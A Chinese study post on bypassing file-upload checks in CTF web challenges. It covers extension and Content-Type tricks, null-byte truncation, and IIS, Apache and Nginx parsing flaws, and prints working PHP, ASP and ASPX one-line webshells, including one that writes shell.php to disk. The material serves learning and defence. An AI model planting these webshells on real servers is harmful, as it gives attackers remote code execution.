文件上传的各种绕过姿势

文件上传绕过学习

做 ctf 的 web 方向常常遇到文件上传的题目,而且每题多少会有些不同。
于是搜集一番总结起来学习一下。

文件上传的校验

  • 客户端 JavaScript 校验
    一般在 F12 源代码中可以看到,校验的是文件后缀名。

  • 服务端校验
    1)文件头 content-type 字段校验(image/jpeg)
    2)文件内容头的校验。
    3)后缀名黑名单校验。
    4)后缀名白名单校验。
    5)自定义正则校验。

  • WAF设备校验

——

文件上传校验的绕过

客户端绕过

前端会检测后缀,可以先上传一个符合后缀的文件,再用 burp 抓包修改文件的内容以及后缀即可。

——

服务端绕过

  • 1)文件类型绕过
    用 burp 抓包,修改 content-type 字段为 image/jpeg 。

  • 2)文件头绕过
    在正常的一句话木马前面加上一些文件信息。 如 gif 的文件幻数:

GIF89a
<?php @eval($_GET['a']) ?>
  • 3)文件后缀名绕过
    服务端会对文件后缀进行黑名单校验。
    则找黑名单扩展名的漏网之鱼:

jsp:jspx、jspf; asp:asa、cer、aspx;
php:php,php3,php4,php5,php7,phtml,pht,phps

可能存在大小写绕过,如:aSp、pHp 。

  • 4)配合操作系统文件命令规则
    上传不符合 Windows 文件命名规则的文件名:

test.asp
test.asp(空格)
text.php:1.jpg
text.php:: D A T A s h e l l . p h p : : DATA shell.php:: DATAshell.php::DATA……

Linux 下后缀名大小写

  • 5)配合其他规则
    0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候。test.php(0x00).jpg、test.php%00.jpg。
    例如: 路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg

  • 6)配合文件包含漏洞
    前提:校验规则只校验当文件后缀名为 asp/php/jsp 的文件内容是否为木马。 先上传一个内容为一句话木马的 .txt 文件,后缀正常未被检测并且上传成功;
    再上传一个 .php 文件,内容为 <?php Include("刚刚上传的 .txt 文件路径"); ?>
    此时,这个 php 文件就会去引用 txt 文件的内容,从而绕过校验。

中引用文件内容的语法:

#PHP <?php Include("上传的txt文件路径"); ?>
#ASP
#JSP <jsp:include page=“上传的txt文件路径”/> or <%include file=“上传的txt文件路径”%>

——
——

服务器解析漏洞

IIS5.x-6.x解析漏洞

目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析
形式:www.xxx.com/xx.asp;.jpg 原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 : /test.asa /test.cer /test.cdx

——
——

apache解析漏洞

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

——
——

nginx解析漏洞

漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHPfputs(fopen('shell.php','w'),'<?phpeval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

转自
https://wenku.baidu.com/view/bf350a1fbc64783e0912a21614791711cc79799c.html

关于上传文件里的内容,即一句话木马
最简单的一句话木马:

<?php @eval($_POST['aa']) ?>

php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。

@符号的意思是不报错,即使执行错误,也不报错,如果没有@,就会报错。

eval 就是执行命令的函数,把字符串作为 PHP 代码执行。

eval() 语言结果是非常危险的,因为它允许执行任意 PHP 代码。

常见的一句话木马:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

一句话木马的内容中 <?php 被过滤了,还可以换为如下内容:

<script language="php">
@eval($_POST['hacker']);
</script>
文件上传漏洞是指攻击者通过上传恶意文件的方式,绕过应用程序的安全机制,将恶意文件上传到服务器上,从而实现攻击目的。常见的文件上传漏洞绕过方式包括以下几种: 1. 修改文件类型:攻击者可以修改上传文件的文件类型,将恶意文件伪装成常见文件类型,绕过检测机制。 2. 绕过文件类型检测:上传文件时,应用程序会检测文件类型,如果上传的文件类型不符合要求,则会拒绝上传。攻击者可以通过修改 HTTP 头部信息或者使用特殊字符等方式,绕过文件类型检测。 3. 绕过文件大小限制:应用程序通常会限制上传文件的大小,攻击者可以通过分割文件、压缩文件等方式,绕过文件大小限制。 4. 绕过文件路径检测:应用程序会检测上传文件的路径,如果路径不符合要求,则会拒绝上传。攻击者可以通过构造特殊的路径,绕过文件路径检测。 5. 绕过文件名检测:应用程序会检测上传文件的文件名,如果文件名不符合要求,则会拒绝上传。攻击者可以通过构造特殊的文件名,绕过文件名检测。 为了避免文件上传漏洞的攻击,应用程序开发人员可以采取以下措施: 1. 对上传文件进行严格的类型、大小、路径、文件名检测,确保上传的文件符合要求。 2. 对上传文件进行病毒扫描和安全检测,确保上传的文件不包含恶意代码。 3. 限制上传文件的存储路径,确保上传的文件不会对系统造成危害。 4. 对上传文件进行权限控制,确保只有授权的用户才能访问上传的文件。 5. 定期更新应用程序和服务器的安全补丁,确保系统处于最新的安全状态。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值